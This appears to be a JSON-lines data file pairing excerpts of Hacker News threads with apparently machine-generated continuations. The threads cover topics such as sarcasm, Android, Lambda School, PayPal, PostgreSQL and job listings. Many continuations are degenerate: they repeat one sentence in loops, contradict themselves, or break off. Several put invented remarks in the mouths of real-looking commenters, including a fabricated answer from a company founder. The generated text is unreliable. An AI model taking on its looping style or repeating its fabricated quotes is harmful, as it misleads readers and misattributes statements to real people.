you're saying.\n\n------\njoshu\nI think the problem is that you're not really sure what you're saying.\n\n------\njoshu\nI think the problem is that you're not really sure what you're saying.\n\n------\njoshu\nI think the problem is that you're", "input_text": " will and claim \"I was only being ironic\" with prior\nclaims.\n\n~~~\nCrito\n> _\" I can change my argument at will and claim \"I was only being ironic\" with\n> prior claims.\"_\n\nThis is solved by explicitly stating when you are being sarcastic, _or_\nfollowing up the sarcastic paragraph with a paragraph that non-sarcastically\nexplains your position.\n\n> _\" The problem with sarcasm is that, when I use it, I'm not putting my own\n> opinion out there to be critiqued, I'm only attacking the other guy's.\"_\n\nI don't think that is actually problematic. There are certain issues that I do\nnot have strong feelings on one way or the other, so I consider my opinion on\nthose issues to be of relatively little consequence. Nevertheless, I am still\ncapable of analyzing and critiquing the merit of arguments made by others.\n\nFor instance, if the topic is tidal power stations being placed offshore of\nexpensive private beach property _(a topic that I do not care about one way or\nthe other)_ and somebody objects that the view from those beaches will be\ndestroyed, I might sarcastically quip that all transmission lines near golf\ncourses and country clubs should be razed, because rich people should never be\nforced to gaze upon infrastructure. I would give this sarcastic quip because,\nalthough I don't really give a shit about tidal power, I can still recognize a\nridiculous argument when I see one.\n\n------\ntikhonj\nAh, confidence. I tend to do the opposite: I hedge too much. If I don't watch\nmyself, I'd probably say, \"I think 3 is a prime number...\". Then again, I\n_have_ been guilty of projecting confidence"} +{"output_text": "auung.\n\n~~~\nerpellan\nI'm not sure I'd call it a distorted Weltanshauung. I think it's more a\ndistorted view of reality.\n\n------\njoshuaheard\nI'm not sure I understand the point of this.\n\nThe only thing I can think of is that they are trying to get people to\nunderstand that the media is biased.\n\n~~~\nsuperobserver\nI think it's more of a", "input_text": " her use of a private\nemail server.\n\nFact via \"Correction\": Republicans have instigated an investigation into\nHillary Clinton's use of a private email server for political gain.\n\nSee what I'm alluding to? If not, then okay, but I don't think I can get much\nmore granular.\n\n~~~\ntamana\nCan you give a non-hypothetical example?\n\n~~~\n6stringmerc\nNot at this time; apparently the operation is just getting started according\nto this documentation.\n\nIf the group does their job well, then - partially kidding here - there should\nbe a representative coming by relatively soon to correct my perception of what\nthe group is motivated to do and how it looks in real life.\n\nAs in, the burden of transparency isn't on my suspicion, but rather in their\nactions. To correct my suspicion, they should have no trouble showing all the\ncases of non-propaganda-resembling \"corrections\" they've performed. Then\nthere'd be no reason for a person like me to suspect gamesmanship in the\nendeavor.\n\n------\nerpellan\nI must now assume that any comment on this page of the'so what?' or 'everyone\ndoes it' variety or any downplaying whatsoever is in fact a paid shill. That\nincludes any disagreements with this statement :)\n\n~~~\nsuperobserver\nYou might not be far from the mark, actually. The funny thing about at least\none Hillary supporter that I know is how vocal they are about all other\npoliticians being just as bad as, if not worse than, HRC, and that ergo, HRC\nis no worse than anyone else, and ergo HRC is as equally viable as anyone\nelse. It's quite a distorted Weltansh"} +{"output_text": " about this, but I think I'll just leave\nit here.\n\nI think the author is right, but I think he's missing the point.\n\nThe point is that Android is open. It's open to the point that you can buy a\nphone from any manufacturer, and it's open to the point that you can install\nany software you want.\n\nThe point is that you can install any software you want.\n\nThe point is that you can install any", "input_text": "say, someone who just has to have their iPhone.\n\n~~~\nwvenable\nYou get that same benefit with Windows Mobile or Blackberry, yet nobody would\nclaim they are open.\n\n------\nugh\nWhy not buy a unlocked phone? Won\u2019t HTC or Samsung sell them to you?\n\n~~~\nTichy\nWhere, how?\n\n~~~\nuggedal\nHere in Norway, and probably in most other parts of Europe, you can buy\nunlocked version of all phones, be it HTC, Samsung, iPhone (sold unlocked\ndirectly from ).\n\n------\nlutorm\nAll of this only applies if you buy a subsidized phone from the carriers.\nUntil the carriers can legally forbid non-branded phones from being on the\nnetwork, they only have the power that their customers, who apparently like\ngiving up their freedom of choice for a low upfront phone price, voluntarily\ngive them.\n\n------\nbrudgers\nWhat Siegler does is pretend that when people say \"Android is open\" they mean\n\"Android isn't repackaged by companies for their own purposes.\"\n\nOf course people don't, but it's a handy strawman.\n\n\"Android is open\" is used to express the idea that there is competition\nbetween Android products (consumer view).\n\n\"Android is open\" is also used to express the idea that a companies are free\nto enter or exit the marketplace without permission (developer view).\n\n\"Android is open\" is also used to express the idea that it isn't \"Apple's\nGated Community\" (brand differentiation).\n\nThis is probably the most important, and it's right out of Apple's playbook.\n\n------\nlenni\nI was just about to write a blog post"} +{"output_text": "ay\nI'm not sure if this is a good idea. I'm not a big fan of the \"block-based\"\napproach, but I'm not sure if this is a good idea.\n\n~~~\nmatt4077\nI'm not sure if this is a good idea, either. But I'm not sure if it's a good\nidea to bemoan the fact that someone else has invented something that you\ncould have invented yourself.\n\n~~~\n", "input_text": " older \"block-based\" electronics kit projects.\n\n~~~\nMichie\nI agree. I thought it was another version of\n[http://littlebits.cc/](http://littlebits.cc/)\n\nBut upon exploring some works, it seems like writing code but with a tangible\nobject. The User Interface are like the usual toy blocks kids play and they\ncan write code with it.\n\nInteresting move by Google on this.\n\n------\nIIAOPSW\nWhen I was a kid we had \"logiblocs\".\n\nBut I guess I was an odd kid and no one else had that experience so Google\ngets to invent it again and pretend to innovate.\n\n[http://www.logiblocs.com/](http://www.logiblocs.com/)\n\n~~~\npacketslave\nThis seems unnecessarily harsh (\"pretend to innovate\"). The team called out a\nbunch of prior art and inspiration here:\n[https://projectbloks.withgoogle.com/research](https://projectbloks.withgoogle.com/research)\nand seem perfectly happy to acknowledge they're not the first to play in this\nspace.\n\n------\nImpossible\nThis is really cool. I want to build a system like this that works on VR\\AR\nplatforms, to get around limitations of programming in VR like text input\nbeing a pain, hard to read text, etc. It's also possible to get around some of\nthe limitations of actual physical hardware like costs, being able to code\nabstractions (a complex function can shrink to a single block, you could build\ncustom interfaces and types without making new custom hardware, etc). Does\nanyone know of any other good tangible\\physical programming resources out\nthere?\n\n------\nnikol"} +{"output_text": "for money.\n\n------\njasonkester\nI've been using \"we\" for a while now. It's a great way to get people to\nrespond to you.\n\nI've found that it's a great way to get people to respond to you when you're\ntrying to get them to do something.\n\n------\njasonkester\nI've been using \"we\" for a while now. It's a great way to get people to\n", "input_text": " like down-to-earthness can go a long ways too...\n\n~~~\nSemiapies\n\"Bigger images\" go both ways - you can find yourself held to standards and\nprey to expectations that you don't want.\n\nI've seen this a lot in hobby industries - guys working out of a tiny rented\nspace in a office park find themselves wondering why their customers think\nthey're a big company with a lot of money. This is inevitably due to their\ntrying to look \"professional\", which tends to be a mingling of actual\nprofessionalism and aping the promotional styles of larger companies.\n\n------\nzalew\nIf you use 'we', better have a good answer when someone asks who else works\nwith you or you'll seem douchy. I don't see anything wrong in using 'we' if\nyou have coworkers, even if they're remote or work occasionally on demand. If\nyou're completely on your own, use 'I'.\n\nHowever, I've heard anectodes about one-man/woman businesses where a person\nfakes there's more people in the office. Seems dumb but sometimes it's needed\nand they had success with it, I don't think it suits your case though :)\n\n------\ngintas\nI try to use \"I\" whenever possible. It makes the message more personal and\ninvites comments and replies. \"We\" is best when talking about collective\ndecisions.\n\n------\nalexophile\nIt depends a lot on the perception you're trying to create. I can't find it\nnow, but there was an article a while back that spoke to the benefits of\nhaving a dedicated identity for your billing department. In short, it helps to\nseparate the you that negotiates contracts and produces from the you that asks\n"} +{"output_text": "ing and optimization\n\n* High-performance computing\n\n* Data visualization\n\n* Data science\n\n* Trading systems\n\n* Quantitative research\n\n* Quantitative trading\n\n* Quantitative risk management\n\n* Quantitative trading infrastructure\n\n* Quantitative research infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative research infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative research infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative research infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative research", "input_text": "-\nios](http://engineering.gopangea.com/join/lead-engineer-ios)\n\n\\- Software Engineer (Platform)\n[http://engineering.gopangea.com/join/software-engineer-\nplatf...](http://engineering.gopangea.com/join/software-engineer-platform)\n\nYou can email me directly with a resume at bardia --at-- gopangea.com\n\nYou can learn more about the engineering team at: \\-\n[http://engineering.gopangea.com](http://engineering.gopangea.com) \\-\n[https://github.com/gopangea](https://github.com/gopangea)\n\n------\ncubistml\nCubist Systematic Strategies | Quantitative Developer \u2013 Systematic Options |\nNew York | Onsite | Full Time\n\nCubist Systematic Strategies is the systematic investing business of Point72\nAsset Management. We deploy systematic, computer-driven trading strategies\nacross multiple liquid asset classes.\n\nWe\u2019re looking for a lead developer to join a new team focused on short term\nsystematic futures, FX, and options strategies. You will drive the design and\ndevelopment of components of a research, simulation, and trading system,\nincluding:\n\n* Option pricing and greek computation\n\n* Portfolio construction and optimization\n\n* Position, risk, and P&L services\n\n* Compute cluster, high throughput research infrastructure\n\n* Monitors, dashboards\n\nYou should have experience working with:\n\n* C++/Java and Python\n\n* Systems for real-time option pricing, risk, and execution\n\n* Fully automated option delta hedging strategies\n\n* Real-time forecast"} +{"output_text": "iley.com/doi/10.1002/pro.2339/full)\n\n~~~\nfrisco\nThanks for the thoughtful comment!\n\nI think you're right that the biggest pain point is the intervention-heavy\nprocess. We're working on a few different ways to make that easier.\n\nOne is to make it easier to get data out of the instrument. We're working on\nthat now.\n\nAnother is to make it easier to get data out of", "input_text": " house. If I recall\ncorrectly, the cost per rxn goes down if you run more in parallel, because\nthey share the same instrument time.\n\nSetting up that reaction might take me ~0.5 hours base, and 0.05 hours for\neach subsequent reaction prepared in parallel.\n\nGrad students are cheap, but even valuing my skilled labor at minimum wage,\nit's cheaper to use Transcriptic.\n\n------\nfrisco\nHey, I'm the founder of Transcriptic. We're pretty excited about this. Happy\nto answer any questions!\n\n~~~\ndnautics\nThe biggest pain point I see in this market is that experimental\nparallelization is an intervention-heavy process. Ignoring the equipment\ncosts, it's also capital-intensive (unlike say deploying to AWS). And finally,\nobtaining usable data still requires experiential knowledge. There's something\nabout _knowing and feeling the data_ (yeah, that's awfully fuzzy) that is\nstill an important part about obtaining good results [0]. So for any biologic\nprocess that is parallelizing the operators are going to want to own the\nmachines anyways.\n\nIn order to capture a real market, you're going to have to figure out a way to\noffer parallelization services - be given a non-parallel experiment with\ncertain parameters and scale it up on behalf of the users. So, the user has an\nexperimental plan and just 'hands it over' to transcriptic. I still worry\nabout the experiential knowledge part, putting the experimenter one step away\nfrom the experiment is potentially counterproductive.\n\n[0][http://onlinelibrary.wiley.com/doi/10.1002/pro.2339/full](http://onlinelibrary.w"} +{"output_text": "\n\n~~~\nSamReidHughes\nI don't know, but I'm sure the airlines would be happy to have you pay them\nmore.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the premise that the cost of tuition is the problem.\nI think the problem is that the cost of tuition is too high.\n\nI\u2019m not sure what the solution is. I think the solution is to have a more\n", "input_text": "sure about that any more. I would like to see his response.\n\n------\nucha\nI'm wondering why it is that two hit pieces came out at the same time [1]? Is\nit just a coincidence?\n\n[https://www.theverge.com/2020/2/11/21131848/lambda-school-\nco...](https://www.theverge.com/2020/2/11/21131848/lambda-school-coding-\nbootcamp-isa-tuition-cost-free)\n\n~~~\nazangru\nI've seen discontent with Lambda brewing on twitters for quite some time:\n\n[https://twitter.com/KeziyahL/status/1155154616281178114](https://twitter.com/KeziyahL/status/1155154616281178114)\n\n~~~\nSamReidHughes\nAny program teaching CS or software with relatively open admissions will have\nits discontented students, because there are simply people who don't have the\ncognitive ability to handle it, and their inability to do the homework is\nalways the teacher's fault.\n\n \nHow Europe is totally owning our in-flight electronics policy, again - Libertatea\nhttp://www.washingtonpost.com/blogs/the-switch/wp/2013/11/14/how-europe-is-totally-owning-our-in-flight-electronics-policy-again/\n======\nselectodude\nWait, how is a flat rate internet service using WiFi worse than allowing\nairlines to implement some sort of LTE antenna booster on every plane so I\nhave the opportunity to have no idea what I'm about to pay to use my phone?"} +{"output_text": " of our search infrastructure are deployed to production\nand we're constantly improving them: [https://data.blog/2016/05/03/state-of-\nwordpress-com-search-in...](https://data.blog/2016/05/03/state-of-wordpress-\ncom-search-infrastructure-2016/)\n\n\\- We're working on a new search infrastructure that will be deployed to\nproduction in the next few months: [https://data.blog", "input_text": " \"wow factor\" are very important\nto you. User experience is paramount. You have the ability to identify UX pain\npoints and resolve them without direction. You like to stay current with\ntechnology and are a self starter.\n\nThe team is small so we have high ownership of our software. We are\nresponsible for the full software development cycle, starting at design and\nending with deployment. It has always been important to us to stay current\nwith the latest technology and use as needed.\n\nTech Stack: Ruby on Rails, Node, PHP, AWS, React, Docker, MySql, Postgres\n\n[https://careers.tenable.com/?p=job/oFof4fw6&__jvst=JobBoard&...](https://careers.tenable.com/?p=job/oFof4fw6&__jvst=JobBoard&__jvsd=Hacker_News&nl=1)\n\n------\ngibrown\nAutomattic (WordPress.com, Jetpack, WooCommerce,.blog, Polldaddy, Gravatar) |\nSearch Wrangler | Full Time | REMOTE\n\nWe're a distributed company with employees in >50 countries. Help us influence\nsearch and recommendations for the 27% of the Web that runs on WordPress.\n\nWe're looking to take our search infrastructure up a few notches. A bit on\nwhat we're working on:\n\n\\- We have some good distributed systems deployed that we are constantly\nimproving: [https://data.blog/2016/05/03/state-of-wordpress-com-\nelastics...](https://data.blog/2016/05/03/state-of-wordpress-com-\nelasticsearch-systems-2016/)\n\n\\- Various versions"} +{"output_text": " few ideas. We\u2019re not sure if it\u2019s because we\u2019re a new startup, or if it\u2019s because we\u2019re a small business, or if it\u2019s because we\u2019re a startup that\u2019s using PayPal to fund our business. We\u2019re not sure if it\u2019s because we\u2019re a small business, or if it\u2019s because we\u2019re a startup that\u2019s using PayPal to fund our business. We\u2019re not sure", "input_text": " service as a funding method for payment\nprocessors to collect payments on behalf of merchants. Upon review of\nyour account, it appears that you are offering an aggregation service that\nallows multiple merchants to process transactions that are against various\nAcceptable Use rules. The service you provide allows said merchants to\ncircumvent our policies.

While we wish you the best of success in your future business endeavors, we\nrespectfully ask that you seek another method of payment for your online\nbusiness.

Your PayPal Account has been limited and there will be no appeals to the\ndecision. Any remaining funds in your account balance will be held for 180\ndays from the date of the limitation. Once 180 days has passed, the funds\nwill be available for withdrawal.

If you have any further questions, please feel free to contact us again.

Sincerely,\nJulie\nPayPal Compliance Department\nPayPal, an eBay Company

Responses to this email address are not monitored. Please send any\nadditional questions that you may have to compliance@paypal.com.

Translation: Your account has been frozen and there\u2019s nothing you can do about it. \nUpon referring to PayPal\u2019s Acceptable Use Policy, as they suggest, I find nothing to suggest we are not in compliance. In fact, we seem to be the exact kind of merchant PayPal would want using its services. We are bringing them new users by requiring our customers to pay with PayPal, we are building a global marketplace that is ideal case study for PayPal\u2019s robust risk management and fraud management and we\u2019re a budding new startup that enables a brand new community of merchants and transactions, off of which PayPal will be able to profit.

We\u2019re still unclear why PayPal froze our account, but we\u2019ve got a"} +{"output_text": " than\nyou actually have would be a problem.\n\n~~~\njedberg\n> If placement rates aren't critical to you getting students, then you can say\n> it is 50% publicly and see if that affects your enrollment numbers or not.\n> Otherwise, it would stand to reason that stating a higher placement rate\n> than you actually have would be a problem.\n\nI don't think that's true. If you have a high placement rate, you can say it", "input_text": " incessant twitter evangelizing as annoying as the next\nguy, I\u2019m not sure any article I\u2019ve seen is painting a realistic picture about\nLambda.\n\nMedia outlets have incentives to either paint you as the second coming of\nChrist or as Satan. It appears Lambda, for a while, actually succeeded at\nconvincing journalists they were the former.\n\nAfter a while, people get bored with that though. The incentives that drive\nclicks flip. Suddenly Lambda is now Satan. Burn it down! Downvote all\nsympathizers!\n\nHere\u2019s the reality: all models for education can work for certain people in\ncertain instances. Lambda is definitely the best choice for some people. But\nno single company is going to solve something like \u201ceducation\u201d or \u201chealthcare\u201d\nbecause they are political institutions tied to the power dynamics that\ndetermine how society is arranged. You cannot brute force this without gaining\ninfluence over government itself.\n\nThis is not as simple as disrupting where people buy their shampoo or where\nthey see ads.\n\n~~~\nraiyu\nThere are always two sides to every story, but when you have outright\nfraudulent claims I don't think you can say that the article is simply\npainting the school as \"Satan\"\n\nIf you stated that you have an 86% placement record and in reality it is 50%,\nthat is a pretty large discrepancy. If the original 86% placement was from the\nfirst 70-ish students and now you are over 2500 students, that seems a bit\nfraudulent.\n\nIf placement rates aren't critical to you getting students, then you can say\nit is 50% publicly and see if that affects your enrollment numbers or not.\nOtherwise, it would stand to reason that stating a higher placement rate"} +{"output_text": " that in any detail.\n\n------\njedberg\nI'm not sure if this is a good thing or not. I think it's a good thing that\nwe're finally starting to see the end of the industrial food system.\n\nBut I also think it's a good thing that we're starting to see the end of the\nindustrial food system.\n\nThe industrial food system is a system that has been built on the backs of\npeople who are poor and people who", "input_text": " and at one stage dominated the farming practices of Europe.\n\nfrom [https://www.britannica.com/topic/Norfolk-four-course-\nsystem](https://www.britannica.com/topic/Norfolk-four-course-system)\n\n> In the Norfolk four-course system, wheat was grown in the first year,\n> turnips in the second, followed by barley, with clover and ryegrass\n> undersown, in the third. The clover and ryegrass were grazed or cut for feed\n> in the fourth year. The turnips were used for feeding cattle and sheep in\n> the winter. This new system was cumulative in effect, for the fodder crops\n> eaten by the livestock produced large supplies of previously scarce animal\n> manure, which in turn was richer because the animals were better fed. When\n> the sheep grazed the fields, their waste fertilized the soil, promoting\n> heavier cereal yields in following years.\n\n~~~\nstinos\n> dates back to the 17th century\n\nNote that crop rotation itself (2 course/3 course) is much, much older. And\nWikipedia claims it was first done in the 16th century in what now is Belgium.\n\nActually, there are a bunch of things presented as 'new' in the article while\nI read nothing which I never read before, and many of the solutions bascialy\ncome down to 'do it as our ancestors did it' so it's not all that new either.\nThe vast scale of it though is new. And the rigid economic system attached to\nit.\n\n~~~\nTwirrim\n2 course / 3 course used to rely on fallow periods, IIRC, though it's been\nmore than 20 years since I covered"} +{"output_text": "\"It is because you acknowledge things like freedom of belief. There can be\nonly one God. This sort of incident occurs because you let heretics like them\nout of your control. That, and our parliament is impotent...\"\n\n[0]\n[http://www.giantbomb.com/vagrant-story-review/](http://www.giantbomb.com/vagrant-story-review/)\n\n~~~\nmrob\n", "input_text": "fenomas\n> any attempt to \"satisfy the marketplace\" will always corrupt a translation\n\nI don't know how you're getting this from the article - everything he says\nabout his efforts boils down to trying to change language that sounds flat and\nlifeless in translation into something that lives and breathes, and I think\nhe's absolutely right to have made that attempt. (even if he misses the mark\nsometimes, like with the castlevania \"what is a man?\" bit...)\n\nLiving in JP I wind up seeing a lot of movies and TV with one language in the\naudio and the other in subtitles, and personally, \"faithful\" translations\ndrive me bonkers with how flat and boring and explanatory they sound.\n\nMy pet theory is that it ultimately stems from the source languages being so\nlinguistically different. I once read a book where the translator said in his\nnotes (about Voltaire) \"But mostly I've just tried to stay out of his way, for\nI find that he speaks very good English already\", and I've often thought how\nhard it is to imagine a JP>EN translator feeling the same way.\n\n~~~\nmrob\nI think a less accurate translation can sometimes result in a better product,\nbut the translator needs to be very good to pull it off. The most notable\nexample I can think of is Vagrant Story, which was widely praised for its\nlocalization.\n\nExample from The GIA's review[0]:\n\n\"Lines as bland in the original Japanese as\n\n\"It is because you acknowledge things like freedom of belief. There can be\nonly one God. This sort of incident occurs because you let heretics like them\nout of your control. That, and our parliament is impotent...\"\n\nbecome:\n\n"} +{"output_text": ".com/oni-labs/stratified-coffee-script>\n\nIt's a bit more verbose, but it's also a bit more readable.\n\n------\njashkenas\nI'm not sure if this is a good idea, but I've been thinking about a way to\nmake the CoffeeScript compiler more \"readable\" by adding a \"pretty-printer\"\nthat would take a CoffeeScript file and output a human-readable version.\n", "input_text": " http request and suspend, i'll have done the CNN get for\nnothing.\n\nOf course in this case this only means a wasted request. But what in case of\nside effects?\n\n~~~\njerf\nIgnoring WebWorkers, the underlying Javascript engine is single-threaded, so\nthe problem you describe can't exist. Once you start down a code path, it will\ncontinue until it finishes and yields execution.\n\nFurther, \"hold\" is almost certainly a magical statement that actually compiles\ninto a pattern of calls to.setTimeout and various handlers, and has no\nliteral existence, so there probably isn't any point at which the hold is\n\"executed\".\n\nYou can't actually turn a single-thread runtime into a threaded runtime at the\nuser level. You can apply a series of increasingly sophisticated hacks that\nmay make program like it's multithreaded, but you can't escape the fact you\nhave only one program counter. (This isn't a criticism of the library. It\nlooks quite useful. It just doesn't magically make browser Javascript truly\nmultithreaded.)\n\nThis approach is actually quite useful, and is part of what makes the event-\nbased programming style practical. For all the stuff that's going on, you do\nalways have the guarantee that any given event handler will fully execute, and\nno other hunk of code will be able to observe the half-executed state of any\ngiven handler. Without that property you'd basically just be doing\nconventional multithreading with a really inconvenient code structure.\n\n------\njashkenas\nAfter the IcedCoffeeScript post the other day, I found Oni Labs' version --\nwhich I don't remember seeing before -- Stratified CoffeeScript:\n\n The employees are also asking for zero contracts with fossil fuel companies\n> that use Amazon\u2019s AI technology to help them accelerate oil and gas\n> extraction\n\nTo me, it seems like activists spend too much time focusing on the producers\nof things like fossil fuels, and not enough time on the consumers.\n\nI have nothing against companies which are producing fossil fuels, in general,\nsince they are usually producing a product that has at least some genuine\nvalue in many cases. If everyone stopped drilling for oil immediately, it\nwould certainly have incredibly negative consequences. I do have a problem\nwith people who are excessively using these types of products, since they are\ncreating waste that damages the environment - if everyone stopped driving\ntheir car everywhere and instead biked when they were able to, it would\ncertainly have a very positive effect.\n"} +{"output_text": " the \"Talking Heads\" feature, I think it was a good idea but it was\nnever used enough to be worth the effort.\n\nI think the front page is a good design, I just think it's a bad design for\nthe Times.\n\n~~~\njoshu\nI think the video thing is a good idea. I think the \"Talking Heads\" thing is\na good idea.\n\nI think the front page is a bad design for", "input_text": " jump point. My eye can scan far more quickly than I can click back and\nforth through pages.\n\nThe classic wastes of time for me on the Times are:\n\n\\- Video content. Really, text tells the story far more quickly most of the\ntime. A video feature can be a benefit (and for some rare stories it's hugely\nuseful), but I _don't_ think it belongs on the homepage.\n\n\\- The \"Talking Heads\" features. There's something in how these are set up\nthat frequently makes for a compelling lede, but fails to deliver. The format\njust doesn't work for me.\n\n\\- The formulaic three-headlines-per-section on the front page. Some days some\nsections deserve far more news, and some sections (sorry, but \"Dining\",\n\"Fashion\", and \"Automobiles\" hold little or no interest) deserve none. To me.\n\nRutledge has succeeded in vastly simplifying the Times's front page. _By\nremoving most of the informational content and utility from it._ His design\nworks for mobile (and as he notes, the Times has a good mobile site). It's not\na good full-featured site design.\n\n~~~\nrjd\nVideo content brings in 20x the ad rate of display ads. The news agency I\nworked for had a \"push video for all content\" stance because of this, I assume\nall other news sites have the same stance.\n\nYou bring up the biggest argument of them all, I had it every day with the\nsite I was responsible for. I'm a minimalist myself, and the person I reported\nto was a everything and the kitchen sink guy. We had some heated arguments\nfollowed by days of ignoring each other LOL\n\nI hated"} +{"output_text": "I think the point is that the code is not self-documenting because it is\nwritten in a language that is not self-documenting.\n\n~~~\nwccrawford\nI don't think that's the point. The point is that the code is not self-\ndocumenting because it is written in a language that is not self-documenting.\n\nThe code is not self-documenting because it is written in a language that is\nnot self-document", "input_text": " cover my bills

So HN, what do you think I should do?\n======\njacquesm\nRepeat sales to the same customers are your mainstay as a consultant, how come\nthere are no repeat jobs?\n\n~~~\nphpnode\nBecause most of the people I've targeted have been small businesses who need a\nwebsite, but after the website is built there's not much opportunity to sell\nmore services. I do have a few customers that will give me more work in\nfuture, but most have spent their budgets and are waiting for their next\nfinancial year. I have some meetings this week that should drum up a bit more\nwork which will help but probably not enough to keep myself afloat.\n\n~~~\njacquesm\nThat sucks. Ok, let me check my 'to do' list and see if there is anything on\nthere that could be farmed out without first digging in to a code base that is\na decade old.\n\nWhat is your hourly rate? Or do you do fixed price jobs?\n\n~~~\nphpnode\nI've sent you an email, thanks.\n\n \n\nYour Code is Not Self Documenting - darthdeus\nhttp://progfu.com/post/2668280164/your-code-is-not-self-documenting\n\n======\nwccrawford\nEvery comment there disagrees with the post. Were you hoping to come here and\nfind people who will agree?\n\nI also disagree with it. Good code is as self-documenting as possible. Any\ngotchas should be explained in comments, but correct naming is way more\nvaluable than comments explaining what a function does.\n\nAny code that fails to be self-documenting needs to be refactored immediately.\n\n~~~\nerikb\n"} +{"output_text": " that the state has been running a deficit for decades.\n\n~~~\nshostack\nI'm not sure I understand your point. The state has a surplus of $63b.\n\n~~~\ndahdum\nThe state has a surplus of $63b.\n\nThe state has a surplus of $63b.\n\nThe state has a surplus of $63b.\n\nThe state has a surplus of $63b.\n\nThe state has a surplus", "input_text": " approval to build an office tower in\nthis area, you should need to get someone to agree to build an apartment tower\nnearby with a similar number of units. I mean, I'm not saying they need to be\nowned by the same people or that those apartments will be occupied only by\npeople who work in that office building, but you need housing nearby where\nthere are jobs.\n\n------\nBadassFractal\nThis is obviously extreme, but we're in an extreme situation here. Vote with\nyour feet and get out of the city, move away from the Bay. Only once the upper\nmiddle class feels some pain will anything be done about it. Until then, it's\nnot their problem, they can work around it thanks to the flexibility wealth\naffords you. I don't see how else this will be fixed, it has to get much worse\nbefore it gets any better.\n\n~~~\ndahdum\nSF ballooned their deficit by billions _during_ the last bull market. Over $10\nbillion of unfunded pension and healthcare costs.\n\nThe next recession is going to be brutal.\n\n~~~\nshostack\nHow does that work exactly with the massive surplus the state is running? [1]\ncouple those Donna be used to fill this gap?\n\n[1]\n[https://www.politifact.com/california/statements/2018/dec/18...](https://www.politifact.com/california/statements/2018/dec/18/jerry-\nbrown/does-california-have-budget-surplus-nearly-30-bill/)\n\n~~~\ndahdum\nCalifornia has $63b and growing in unfunded pension liabilities. The surplus\nis only a cash cushion.\n\nThe problem is"} +{"output_text": "http://www.designer-\ntools.com/tools/design-tools.html>\n\nC) I'm a programmer, but I'm also a designer. I'm not a designer, but I'm a\nprogrammer. I'm not a designer, but I'm a programmer. I'm not a designer, but\nI'm a programmer. I'm not a designer, but I'm a programmer. I'm not a\ndesigner, but I'm a programmer", "input_text": " well, that you would change. Do little usability\ntests on your sites, even on sites that aren't yours with family or peers.\n\nPart C - I don't know as much about startups. I do know that having a designer\non hand is much nicer to work with than outsourced. Ultimately I think it\nwould be like dealing with anyone else outsourced in terms of reliability.\n\nPart D - I actually started as a designer, and IE 6 crushed my soul. I am\nstill very interested in UX though. I think starting as a programmer, I would\njust try to recreate designs you think are appealing. I would also try to\nlearn the grid system. Use CSS frameworks as training wheels that have a solid\ngrid, and decent typography (eg. Blueprint). I started constraining myself to\nHTML and CSS, and I think you should too, leave Photoshop alone until you can\nmake decent designs in just HTML and CSS. Then, when you are completely\ncomfortable using the two, then look to PS to add details that you can't\nachieve otherwise. The big obstacle you will run into, is that you will feel\nlike you aren't making as good of designs as designer X. Design in my opinion\nis much more personal and emotional than programming so don't let that get to\nyou.\n\nGood Luck!\n\n------\nearlyriser\nA) I start with mockups, then the polished design and at last the programming.\nFor users, the interface is all that they have, then the UX stuff needs to be\ndefined very early (in my case). I like 37signals \"epicenter design\" approach.\nStart with the more important pages and with the more important information\nchunks of these pages.\n\nB) useit.com and my collection maybe <"} +{"output_text": " become a maintenance nightmare.\n\n~~~\njlgaddis\nI'm not sure I understand what you mean by \"premature optimization\".\n\n~~~\nda_chicken\nI'm not sure I understand what you mean by \"premature optimization\".\n\n------\njlgaddis\nI'm not sure I understand what you mean by \"premature optimization\".\n\n~~~\njlgaddis\nI'm not sure I understand what you mean by \"premature optimization", "input_text": "point is that everyone I've talked to from developers to the CEO understand\nthat OpenStack needs to be its own project. We (individually and as a company)\nare trying to shepherd the project.\n\n------\njjdoe\n\"I think that Rackspace is trying to control Openstack rather than influence\nit.\"\n\nSo that's why you're up in arms over them making a move to _reduce_ their\npresence on the board? Sure, they should have handled it better, but it seems\nsilly to jump from a bumbling move to a power grab, especially when the point\nwas to reduce the near-total domination of Rackspace on the board after the\nAnso purchase.\n\nWonder if there are more sour grapes behind this than you're letting on.\n\n------\nlsc\nis anyone renting out infrastructure using the OpenStack API? Seems to me like\nit'll be more valuable both to consumers and to providers once there are\nseveral inter-operable providers. Also, social proof would make the\ntraditionally conservative VPS providers more comfortable, I think.\n\n \nMy Favorite PostgreSQL Queries and Why They Matter - grzm\nhttps://severalnines.com/blog/my-favorite-postgresql-queries-and-why-they-matter\n======\nda_chicken\n> 6\\. UPDATE multiple rows with a CASE expression\n\nOh, man, as a seasoned DBA/Data Analyst, don't do this unless you have a\nreally good reason to. This is premature optimization of the kind you want to\navoid.\n\nYes, it's really neat to update everything in a single statement, and in\n_some_ situations it can perform significantly better, but CASE expressions in\nan UPDATE statement quickly"} +{"output_text": "\n\nWe\u2019re looking for a Senior.NET Developer to join our team. You\u2019ll be working\non a variety of projects, including:\n\n\\- Building out a new web application for our sales team\n\n\\- Building out a new web application for our customer service team\n\n\\- Building out a new web application for our warehouse team\n\n\\- Building out a new web application for our fulfillment team\n\n\\- Building out a new web application for our marketing team\n\n\\-", "input_text": " done. \n /__/ |========| \\__\\ \n //// |________| \\\\\\\\ \n \"\"' [||||||||] `\"\" \n `\"\"\"\"\"\"\"\"' \n \n\nYou can reach out directly to me (gal at stitchfix.com) - I'm a Principal\nEngineer at Stitchfix and the hiring manager for this position.\n\nHere is a job posting roughly covering this role:\n[https://www.stitchfix.com/careers?gh_jid=455296&gh_src=r8m5v...](https://www.stitchfix.com/careers?gh_jid=455296&gh_src=r8m5v11)\nand Stitch Fix's \"Multithreaded\" Tech Jobs blog & site\n([http://technology.stitchfix.com](http://technology.stitchfix.com)) has a lot\nmore about the team and other positions (we\u2019re also hiring iOS, DevOps, and\nUX)\n\n~~~\nelcritch\nI get a kick out of the ASCII art on a job board posting. It's unique and\nthanks for the smile it brought!\n\n------\nrepspark\nRepSpark | Senior.NET Developer | Irvine, CA | Full-time, ONSITE, $75k-$100k\n\nWe\u2019re a casual, nine-person software development team based in Orange County,\nCA (south of Los Angeles). We provide many large apparel brands with intuitive\nand efficient sales workflows, enabling sales representatives to place bulk\norders for brick and mortar stores (e.g. how O\u2019Neill ends up in Tilly\u2019s or how\nArmada ends up on Backcountry)."} +{"output_text": "\nhistory.\n\n~~~\nrvz\nI'm 